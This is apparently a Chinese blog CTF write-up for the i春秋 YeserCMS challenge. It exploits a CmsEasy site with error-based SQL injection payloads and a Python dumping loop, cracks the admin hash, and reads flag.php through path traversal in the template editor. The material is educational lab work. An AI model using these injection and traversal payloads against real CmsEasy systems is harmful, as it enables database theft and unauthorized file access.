i春秋CTF-YeserCMS

原创

「已注销」 于 2018-09-06 18:21:00 发布 650 收藏 1

本文链接：https://blog.csdn.net/qingchenldl/article/details/84576270

分析

打开网站，在文档下载页面用户评论区域，发现是一个EasyCMS

于是百度EasyCMS的漏洞，发现cmseasy 无限制报错注入（可获取全站信息exp）

访问url/celive/live/header.php，直接进行报错注入

数据库：

```
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCA


# 结果:
XPATH syntax error: '[Yeser]'

INSERT INTO `yesercms_detail` (`chatid`,`detail`,`who_witter`) VALUES('','xxxxxx',(UpdateXML(1,CONCAT(0x5b,
```

数据表：

这里需要注意一下：group_concat取数据的32位，因此不能完全爆出数据表，需要调整1,32才行

```
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCA


# 结果
XPATH syntax error: '[yesercms_a_attachment,yesercms_'

## python脚本跑一下
import requests
url = 'http://e32e8eceff7a4e3f922fe2640f1c82a67a059c73c2f44c14.game.ichunqiu.com/celive/live/header.php'
for i in range(1,999,31):
    postdata = {
    'xajax':'Postdata',
    'xajaxargs[0]':"<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table_
}
    r = requests.post(url,data=postdata)
    print r.content[22:53]
```

简单的python，循环跑一下，也是可以出来的，但是表太多了，我是不太知道大佬们怎么精准定位到`yesercms_user`表

```
yesercms_a_attachment,yesercms_a_comment,yesercms_a_rank,yesercms_a_vote,yesercms_activity,yesercms_announc
```

最后爆出数据：

```
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCA

XPATH syntax error: '[admin|ff512d4240cbbdeafada404677ccbe61]'
```

这里也是一样，只会显示32位字符，需要调整一下，得到账户密码。

MD5反解密码SOMD5得**Yeser231**

进入后台页面，

想着通过上传图片拿shell，但是发现根本不存在这个类

于是想在当前模板中插入一个木马拿shell，结果保存不了！！

看了别人的WP，发现原来调用当前模板的时候用的是读文件的函数，也就是说，可以利用这个对文件的函数读取任意文件：

Go Cancel < | > | Target: http://e32e8eceff7a4e3f922fe2640f1c82a67a059c73c2f44c14.game.ichunqiu.com

Request

Raw Params Headers Hex

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0)
Gecko/20100101 Firefox/55.0
Accept: application/json, text/javascript, */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer:
http://e32e8eceff7a4e3f922fe2640f1c82a67a059c73c2f44c14.game.ichunqiu.com
/index.php?case=template&act=edit&admin_dir=admin&site=default
Content-Length: 18
Cookie:
UM_distinctid=16454f1fc049-0b0fdb3512a1fe-4c322e7d-100200-16454f1fc06117;
 pgv_pvi=8098725888;
Hm_lvt_2d0601bd28de7d49818249cf35d95943=1534154295,1534417318;
Hm_lvt_9104989ce242a8e03049eaceca950328=1536117206;
Hm_lvt_1a32f7c660491887db0960e9c314b022=1536117206;
chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDI00000;
ci_session=c5b5d11ff25f99ea903ae299e5b9fe38121be00a; pgv_si=s9750059008;
Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1536226927;
Hm_lpvt_9104989ce242a8e03049eaceca950328=1536198534;
Hm_lpvt_1a32f7c660491887db0960e9c314b022=1536198536;
PHPSESSID=5a24f00de2354a8bea398a62aeced9d4;
passinfo=%E5%85%8D%E8%B4%B9%E7%89%88+%3Ca+href%3D%22http%3A%2F%2Fwww.cmse
asy.cn%2Fservice_1.html%22+target%3D%22_blank%22%3E%3Cfont+color%3D%22gre
en%22%3E%28%E8%B4%AD%E4%B9%B0%E6%8E%88%E6%9D%83%29%3C%2Ffont%3E%3C%2Fa%3E
; hibext_instdsigdipv2=1; login_username=admin;
login_password=a94f8d9844c391a79ae9db9aa41d2c44; style=skin2
Connection: close

&id=../../flag.php
```

? < + > Type a search term 0 matches

Response

Raw Headers Hex

```
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 06 Sep 2018 09:52:16 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 267
Connection: close
Pragma: no-cache
Cache-Control: no-store, no-cache, must-revalidate,
post-check=0, pre-check=0
Expires: Thu, 19 Nov 1981 08:52:00 GMT

{"content":"<textarea rows=\"20\" cols=\"78\"
id=\"../../flag.php_content\" style=\"font-family:
Fixedsys,verdana,□□; font-size: 12px;\"
name=\"../../flag.php_content\"><?php\necho 'flag
is
here';\n'flag{bf329cd4-efae-425c-bb5d-c8cf29addc70}';
\n<\/textarea>"}
```

? < + > Type a search term 0 matches

Done 562 bytes | 64 millis

更改id 用于读flag，发现可行，getFlag。

知识点

报错注入
EasyCMS 漏洞
读取文件函数的利用